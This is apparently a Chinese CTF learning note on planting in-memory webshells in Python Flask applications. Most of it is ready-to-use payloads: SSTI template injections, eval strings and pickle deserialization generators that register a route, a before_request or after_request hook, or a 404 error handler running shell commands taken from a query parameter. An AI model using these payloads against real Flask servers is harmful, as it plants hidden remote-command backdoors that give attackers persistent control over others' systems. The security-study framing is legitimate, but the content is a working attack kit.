FLASK下python内存马
Python]Flask内存马学习.md at main · bfengj/CTF (github.com)
flask不出网回显方式 - Longlone’s Blog
初始
在一个月黑风高的夜晚,看见一个从未见过的函数add_url_rule,然后经过亿系列的查询发现是flask的内存马常用的东西
1 2
| add_url_rule() 可以添加一个自定义路由,并且可以自定义匿名函数,访问这个路由就可以调用这个匿名函数
|
这里有payload
1 2 3 4 5
| sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
ssti: {{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}"
|
但是!这是老版本的,关闭debug模式会调用到check函数,然后会导致报错
然而在新版本当中,很多地方都存在check函数,so,G
然后看见有师傅提供了方法
1
| 通过@app.before_request @app.after_request来打
|
就是在请求之前做一些操作
看看这个装饰器
1 2 3 4 5 6 7
| before_request_funcs.setdefault(None, []).append(f) 这个f就是我们传入的函数 so lambda :__import__('os').popen('whoami').read() 这🐎不就又行了!
payload eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")
|
1 2
| eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")
|
发现大佬通过其它hook也能打入
新版FLASK下python内存马的研究 - gxngxngxn - 博客园 (cnblogs.com)
1 2 3 4 5 6
| errorhandler: -----!!!控制404界面 exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")
teardown_request 跟after_request差不多
|
pickle利用下的payload
before_request:
1 2 3 4 5 6 7 8 9 10
| import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",))
a = A() b = pickle.dumps(a) print(base64.b64encode(b))
|
after_request:
1 2 3 4 5 6 7 8 9 10
| import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",))
a = A() b = pickle.dumps(a) print(base64.b64encode(b))
|
errorhandler:
1 2 3 4 5 6 7 8 9 10 11
| import os import pickle import base64 class A(): def __reduce__(self): return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))
a = A() b = pickle.dumps(a) print(base64.b64encode(b))
|
ssti
1 2 3 4
| {{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
{{url_for.__globals__['__builtins__']['eval'](\"app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
|